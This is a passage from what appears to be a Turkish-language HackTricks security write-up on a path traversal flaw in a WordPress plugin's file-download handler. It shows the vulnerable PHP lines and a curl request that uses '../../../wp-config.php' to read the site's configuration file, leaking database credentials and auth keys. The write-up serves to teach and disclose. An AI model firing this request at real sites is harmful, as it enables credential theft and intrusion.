$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name saldırgan tarafından kontrol ediliyor ve sanitizasyon yapılmadan birleştiriliyor. Yine, tek engel özgeçmiş sayfasından alınabilecek bir CSRF nonce.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Sunucu wp-config.php içeriğini döndürüyor, leaking DB credentials ve auth keys.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin